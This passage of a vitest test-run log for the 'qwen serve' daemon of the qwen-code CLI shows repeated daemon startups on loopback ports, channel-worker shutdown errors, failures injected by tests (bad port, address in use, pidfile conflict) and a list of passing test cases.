at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
2026-09-11T23:08:00.144Z [ERROR] [DAEMON] shutdown error
Error: ACP process shutdown failed
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:8418:7
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:00.307Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-combined-error-MNGl4t secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:38865 (mode=http-bridge, workspace=/tmp/qws-channel-combined-error-MNGl4t)
qwen serve: bound to workspace "/tmp/qws-channel-combined-error-MNGl4t"
qwen serve: startup timing: processToListenMs=161907 runQwenServeToListenMs=232
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:08:00.491Z [WARN] [DAEMON] received SIGTERM, draining
2026-09-11T23:08:00.499Z [ERROR] [DAEMON] channel worker stop error
ChannelWorkerControlError: Channel worker did not exit after SIGKILL.
at classifyFailure (/build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:338:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:778:17
at processTicksAndRejections (node:internal/process/task_queues:104:5)
2026-09-11T23:08:00.505Z [ERROR] [DAEMON] ACP process registry shutdown error
Error: ACP process shutdown failed
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:8492:7
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
2026-09-11T23:08:00.522Z [ERROR] [DAEMON] shutdown error
ChannelWorkerControlError: Channel worker did not exit after SIGKILL.
at classifyFailure (/build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:338:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:778:17
at processTicksAndRejections (node:internal/process/task_queues:104:5)
2026-09-11T23:08:00.525Z [ERROR] [DAEMON] refusing to exit while a channel worker or service lease remains; signal again to retry after the child exits (another signal during that retry forces exit)
2026-09-11T23:08:00.529Z [WARN] [DAEMON] received SIGTERM, draining
2026-09-11T23:08:00.533Z [ERROR] [DAEMON] ACP process registry shutdown error
Error: ACP process shutdown failed
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:8492:7
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
2026-09-11T23:08:00.535Z [ERROR] [DAEMON] daemon shutdown incomplete
Error: ACP process shutdown failed
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:8492:7
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
2026-09-11T23:08:00.551Z [ERROR] [DAEMON] shutdown error
Error: ACP process shutdown failed
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:8492:7
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-channel-log-stuck-cjOm83/debug/daemon/daemon.log
2026-09-11T23:08:00.718Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-log-stuck-cjOm83 secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:33385 (mode=http-bridge, workspace=/tmp/qws-channel-log-stuck-cjOm83)
qwen serve: bound to workspace "/tmp/qws-channel-log-stuck-cjOm83"
qwen serve: startup timing: processToListenMs=162378 runQwenServeToListenMs=296
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:08:01.172Z [WARN] [DAEMON] route=GET /blocked-access-log durationMs=59 status=404 request completed
2026-09-11T23:08:01.266Z [ERROR] [DAEMON] channel worker stop error
ChannelWorkerControlError: Channel worker did not exit after SIGKILL.
at classifyFailure (/build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:338:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:778:17
at processTicksAndRejections (node:internal/process/task_queues:104:5)
2026-09-11T23:08:01.542Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:01.682Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-bridge-stuck-4SZN8M secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:36599 (mode=http-bridge, workspace=/tmp/qws-channel-bridge-stuck-4SZN8M)
qwen serve: bound to workspace "/tmp/qws-channel-bridge-stuck-4SZN8M"
qwen serve: startup timing: processToListenMs=163273 runQwenServeToListenMs=201
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:08:01.861Z [ERROR] [DAEMON] channel worker stop error
ChannelWorkerControlError: Channel worker did not exit after SIGKILL.
at classifyFailure (/build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:338:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:778:17
at processTicksAndRejections (node:internal/process/task_queues:104:5)
2026-09-11T23:08:01.868Z [WARN] [DAEMON] error="bridge still draining" reason=daemon_shutdown workspace=/tmp/qws-channel-bridge-stuck-4SZN8M workspace bridge required forceful shutdown
2026-09-11T23:08:01.906Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:02.075Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-fallback-PnoAAL secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:43277 (mode=http-bridge, workspace=/tmp/qws-channel-worker-fallback-PnoAAL)
qwen serve: bound to workspace "/tmp/qws-channel-worker-fallback-PnoAAL"
qwen serve: startup timing: processToListenMs=163674 runQwenServeToListenMs=228
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:08:02.262Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:02.417Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-fallback-BztiEv secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:36725 (mode=http-bridge, workspace=/tmp/qws-channel-worker-fallback-BztiEv)
qwen serve: bound to workspace "/tmp/qws-channel-worker-fallback-BztiEv"
qwen serve: startup timing: processToListenMs=164015 runQwenServeToListenMs=221
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:08:02.598Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:02.747Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-pidfile-kcSuSl secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:44757 (mode=http-bridge, workspace=/tmp/qws-channel-worker-pidfile-kcSuSl)
qwen serve: bound to workspace "/tmp/qws-channel-worker-pidfile-kcSuSl"
qwen serve: startup timing: processToListenMs=164345 runQwenServeToListenMs=217
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:08:02.920Z [WARN] [DAEMON] failed to write channel worker pidfile metadata: disk full
2026-09-11T23:08:02.937Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:03.087Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-ready-7dohBf secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:44553 (mode=http-bridge, workspace=/tmp/qws-channel-worker-ready-7dohBf)
qwen serve: bound to workspace "/tmp/qws-channel-worker-ready-7dohBf"
qwen serve: startup timing: processToListenMs=164736 runQwenServeToListenMs=265
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:08:03.331Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-channel-worker-log-qs4oaq/debug/daemon/daemon.log
2026-09-11T23:08:03.490Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-log-qs4oaq secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:42833 (mode=http-bridge, workspace=/tmp/qws-channel-worker-log-qs4oaq)
qwen serve: bound to workspace "/tmp/qws-channel-worker-log-qs4oaq"
qwen serve: startup timing: processToListenMs=165079 runQwenServeToListenMs=213
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:08:03.659Z [WARN] [DAEMON] channel worker stderr: adapter failed with
2026-09-11T23:08:03.661Z [WARN] [DAEMON] channel worker exited (state=exited, pid=1234, code=1, signal=null, error=ipc failed, restartCount=2, nextRestartAt=2026-07-01T01:00:05.000Z, staleHeartbeatAt=2026-07-01T01:00:00.000Z)
2026-09-11T23:08:03.669Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:03.839Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-loopback-8OOWU2 secondary= daemon workspace roots initialized
qwen serve listening on http://0.0.0.0:38017 (mode=http-bridge, workspace=/tmp/qws-channel-worker-loopback-8OOWU2)
qwen serve: bound to workspace "/tmp/qws-channel-worker-loopback-8OOWU2"
qwen serve: startup timing: processToListenMs=165849 runQwenServeToListenMs=634
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:08:04.560Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:04.892Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-timeout-PJBtfm secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:46209 (mode=http-bridge, workspace=/tmp/qws-channel-worker-timeout-PJBtfm)
qwen serve: bound to workspace "/tmp/qws-channel-worker-timeout-PJBtfm"
qwen serve: startup timing: processToListenMs=166529 runQwenServeToListenMs=355
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
qwen serve: runtime startup failed: Daemon runtime startup timed out after 1ms.
2026-09-11T23:08:05.120Z [ERROR] [DAEMON] runtime startup failed
Error: Daemon runtime startup timed out after 1ms.
at Timeout. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6123:13)
at listOnTimeout (node:internal/timers:685:17)
at processTimers (node:internal/timers:618:7)
2026-09-11T23:08:05.219Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:05.393Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-status-k3V8uL secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:42921 (mode=http-bridge, workspace=/tmp/qws-channel-worker-status-k3V8uL)
qwen serve: bound to workspace "/tmp/qws-channel-worker-status-k3V8uL"
qwen serve: startup timing: processToListenMs=166987 runQwenServeToListenMs=211
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:08:05.577Z [WARN] [DAEMON] channel worker exited (state=exited, pid=1234, code=1, signal=null, error=ipc failed, restartCount=0, nextRestartAt=none, staleHeartbeatAt=none)
2026-09-11T23:08:05.791Z [INFO] [DAEMON] route=GET /daemon/status durationMs=75 status=200 request completed
2026-09-11T23:08:05.883Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:06.052Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-fail-F9hdVO secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:42167 (mode=http-bridge, workspace=/tmp/qws-channel-worker-fail-F9hdVO)
qwen serve: bound to workspace "/tmp/qws-channel-worker-fail-F9hdVO"
qwen serve: startup timing: processToListenMs=167720 runQwenServeToListenMs=283
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
qwen serve: runtime startup failed: worker failed before ready
2026-09-11T23:08:06.298Z [ERROR] [DAEMON] runtime startup failed
ChannelWorkerControlError: worker failed before ready
at applySelection (/build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:427:15)
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:527:9
2026-09-11T23:08:06.307Z [ERROR] [DAEMON] daemon startup failed
ChannelWorkerControlError: worker failed before ready
at applySelection (/build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:427:15)
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:527:9
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:06.488Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-retained-M29JX3 secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:33631 (mode=http-bridge, workspace=/tmp/qws-channel-worker-retained-M29JX3)
qwen serve: bound to workspace "/tmp/qws-channel-worker-retained-M29JX3"
qwen serve: startup timing: processToListenMs=168079 runQwenServeToListenMs=223
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
qwen serve: runtime startup failed: worker failed before ready
2026-09-11T23:08:06.654Z [ERROR] [DAEMON] runtime startup failed
ChannelWorkerControlError: worker failed before ready
at applySelection (/build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:427:15)
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:527:9
2026-09-11T23:08:06.662Z [ERROR] [DAEMON] channel worker stop after runtime startup error failed
ChannelWorkerControlError: Channel worker did not exit after SIGKILL.
at classifyFailure (/build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:338:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:778:17
at processTicksAndRejections (node:internal/process/task_queues:104:5)
2026-09-11T23:08:06.668Z [ERROR] [DAEMON] channel worker stop error
ChannelWorkerControlError: Channel worker did not exit after SIGKILL.
at classifyFailure (/build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:338:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:778:17
at processTicksAndRejections (node:internal/process/task_queues:104:5)
2026-09-11T23:08:06.697Z [ERROR] [DAEMON] shutdown after runtime startup error failed
ChannelWorkerControlError: Channel worker did not exit after SIGKILL.
at classifyFailure (/build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:338:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/channel-worker-manager.ts:778:17
at processTicksAndRejections (node:internal/process/task_queues:104:5)
2026-09-11T23:08:06.700Z [ERROR] [DAEMON] runtime startup failed, but qwen serve remains alive to retain the channel service lease until worker exit is confirmed
2026-09-11T23:08:07.687Z [WARN] [DAEMON] received SIGTERM, draining
2026-09-11T23:08:07.691Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:07.838Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-busy-fCCnXH secondary= daemon workspace roots initialized
2026-09-11T23:08:07.983Z [ERROR] [DAEMON] daemon startup failed
Error: Channel service is already running under qwen serve (PID 9999). Stop it before enabling daemon-managed channels.
at channelServicePidfileConflictError (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:891:5)
at reserveChannelServicePidfile (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2155:13)
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:5871:5)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:9244:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:08.138Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-stale-Y2c7vb secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:39433 (mode=http-bridge, workspace=/tmp/qws-channel-worker-stale-Y2c7vb)
qwen serve: bound to workspace "/tmp/qws-channel-worker-stale-Y2c7vb"
qwen serve: startup timing: processToListenMs=170104 runQwenServeToListenMs=584
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:08:08.763Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:09.114Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-listen-w5e5Lg secondary= daemon workspace roots initialized
2026-09-11T23:08:09.274Z [ERROR] [DAEMON] daemon startup failed
RangeError: options.port should be >= 0 and < 65536. Received type number (-1).
at Server.listen (node:net:2551:5)
at app.listen (/build/qwen-code/src/qwen-code/node_modules/express/lib/application.js:605:24)
at tryListen (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6917:24)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:6952:5
at new Promise ()
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:5874:16)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:9324:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve listening on http://127.0.0.1:44691 (mode=http-bridge, workspace=/tmp/qws-port-retry-ywlkxW)
2026-09-11T23:08:09.621Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:09.846Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-port-no-retry-uuL84c secondary= daemon workspace roots initialized
2026-09-11T23:08:09.874Z [ERROR] [DAEMON] daemon startup failed
Error: permission denied
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:9418:25
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1574:12)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1729:8)
at runFiles (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1787:3)
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:10.234Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-port0-no-retry-W2E5fl secondary= daemon workspace roots initialized
2026-09-11T23:08:10.256Z [ERROR] [DAEMON] daemon startup failed
Error: address in use
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:9497:25
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1574:12)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1729:8)
at runFiles (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1787:3)
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:10.429Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-crash-hAR1fz secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:45423 (mode=http-bridge, workspace=/tmp/qws-channel-worker-crash-hAR1fz)
qwen serve: bound to workspace "/tmp/qws-channel-worker-crash-hAR1fz"
qwen serve: startup timing: processToListenMs=172008 runQwenServeToListenMs=199
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:08:10.615Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:08:10.771Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-channel-worker-unhandled-TbSOxK secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:41441 (mode=http-bridge, workspace=/tmp/qws-channel-worker-unhandled-TbSOxK)
qwen serve: bound to workspace "/tmp/qws-channel-worker-unhandled-TbSOxK"
qwen serve: startup timing: processToListenMs=172355 runQwenServeToListenMs=207
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:08:10.945Z [INFO] [DAEMON] daemon stopped
qwen serve listening on http://127.0.0.1:37791 (mode=http-bridge, workspace=/tmp/qws-startup-runtime-dir-diAW06)
qwen serve listening on http://127.0.0.1:40601 (mode=http-bridge, workspace=/tmp/qws-startup-log-dep-RVtrFr)
qwen serve listening on http://127.0.0.1:38795 (mode=http-bridge, workspace=/tmp/qws-startup-storage-dir-ccHfpX)
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:37881 (mode=http-bridge, workspace=/tmp/qws-startup-preheat-1EFHKY)
qwen serve: bound to workspace "/tmp/qws-startup-preheat-1EFHKY"
qwen serve: startup timing: processToListenMs=174241 runQwenServeToListenMs=46
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:08:12.833Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-startup-preheat-1EFHKY secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:08:13.053Z [INFO] [DAEMON] route=GET /daemon/status durationMs=26 status=200 request completed
2026-09-11T23:08:13.248Z [INFO] [DAEMON] route=GET /daemon/status durationMs=151 status=200 request completed
2026-09-11T23:08:13.510Z [INFO] [DAEMON] route=GET /daemon/status durationMs=31 status=200 request completed
2026-09-11T23:08:13.568Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:38191 (mode=http-bridge, workspace=/tmp/qws-startup-preheat-n1YkzY)
qwen serve: bound to workspace "/tmp/qws-startup-preheat-n1YkzY"
qwen serve: startup timing: processToListenMs=175482 runQwenServeToListenMs=280
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:08:14.279Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-startup-preheat-n1YkzY secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
qwen serve: ACP preheat failed, will retry on first session: preheat boom
2026-09-11T23:08:14.757Z [INFO] [DAEMON] route=GET /daemon/status durationMs=44 status=200 request completed
2026-09-11T23:08:14.811Z [INFO] [DAEMON] route=GET /daemon/status durationMs=15 status=200 request completed
2026-09-11T23:08:14.832Z [INFO] [DAEMON] daemon stopped
2026-09-11T23:08:18.817Z [WARN] [DAEMON] maxMs=3793.747967 daemon event loop stall detected
2026-09-11T23:08:18.819Z [WARN] [DAEMON] maxMs=3793.747967 daemon event loop stall detected
2026-09-11T23:08:18.823Z [WARN] [DAEMON] maxMs=3793.747967 daemon event loop stall detected
2026-09-11T23:08:18.825Z [WARN] [DAEMON] maxMs=3793.747967 daemon event loop stall detected
2026-09-11T23:08:18.826Z [WARN] [DAEMON] maxMs=3793.747967 daemon event loop stall detected
✓ src/serve/run-qwen-serve.test.ts (218 tests) 109856ms
✓ workspace skill settings persistence > canonicalizes, deduplicates, preserves orphans, serializes updates, and enforces user locks 5234ms
✓ workspace skill settings persistence > produces both skills.disabled and skills.enabled changes when enabling a workspace-hard-disabled default-disabled skill 719ms
✓ runQwenServe daemon logger wiring > creates a daemon log file at boot and flushes on shutdown 6225ms
✓ runQwenServe telemetry validation > wraps invalid daemon telemetry configuration as FatalConfigError 1268ms
✓ runQwenServe telemetry validation > accepts multiple explicit workspace inputs and advertises workspaces 1378ms
✓ runQwenServe telemetry validation > invalidates primary voice capabilities when its workspace service publishes settings changes 1678ms
✓ runQwenServe telemetry validation > adds, advertises, and hot-removes a dynamic workspace runtime 2673ms
✓ runQwenServe telemetry validation > kills a half-built dynamic bridge when async construction cleanup fails 577ms
✓ runQwenServe telemetry validation > uses the daemon-wide policy and limits when constructing workspace bridges 355ms
✓ runQwenServe telemetry validation > does not validate policy settings for untrusted secondary workspaces 375ms
✓ runQwenServe telemetry validation > accepts a single workspace array input as the primary workspace 1583ms
✓ runQwenServe telemetry validation > uses a daemon-scoped telemetry service instance id 651ms
✓ runQwenServe permissionResponseTimeoutMs validation > rejects a non-finite permissionResponseTimeoutMs 984ms
✓ runQwenServe memory budget > reports the resolved budget over HTTP without sizing any child 1159ms
✓ runQwenServe initializeTimeoutMs validation > propagates a valid initializeTimeoutMs to the bridge options 971ms
✓ runQwenServe TLS (--tls-cert / --tls-key) > rejects a cert/key mismatch at boot 623ms
✓ runQwenServe TLS (--tls-cert / --tls-key) > serves over https when both cert and key are valid 5056ms
✓ runQwenServe session reaper timeout validation > keeps sessionReapIntervalMs=0 as the disabled sentinel 608ms
✓ runQwenServe runtime startup failures > keeps the primary bridge reference from the reconciled startup generation 857ms
✓ runQwenServe runtime startup failures > does not expose the disposed primary bridge after reconciliation blocks 630ms
✓ runQwenServe runtime startup failures > disposes ACP routing when runtime containment fails 716ms
✓ runQwenServe runtime startup failures > normalizes browser MCP env flag "0" 514ms
✓ runQwenServe runtime startup failures > normalizes browser MCP env flag " 0 " 310ms
✓ runQwenServe runtime startup failures > normalizes browser MCP env flag "anything" 342ms
✓ runQwenServe runtime startup failures > auto-enables only the CDP tunnel for Chrome extension origins when the env flag is unset 794ms
✓ runQwenServe runtime startup failures > forwards auto-enabled CDP tunnel state to the ACP child env 423ms
✓ runQwenServe runtime startup failures > skips persisted workspaces after the runtime limit is reached 1045ms
✓ runQwenServe runtime startup failures > filters secondary workspace roots before constructing the bridge filesystem 415ms
✓ runQwenServe runtime startup failures > keeps browser MCP features disabled for non-extension origins when the env flag is unset 471ms
✓ runQwenServe runtime startup failures > returns bootstrap 503 for unknown routes while runtime is still starting 527ms
✓ runQwenServe runtime startup failures > returns bootstrap 503 for multi-workspace capabilities until runtime routes mount 486ms
✓ runQwenServe runtime startup failures > keeps health responsive before starting deferred runtime work 745ms
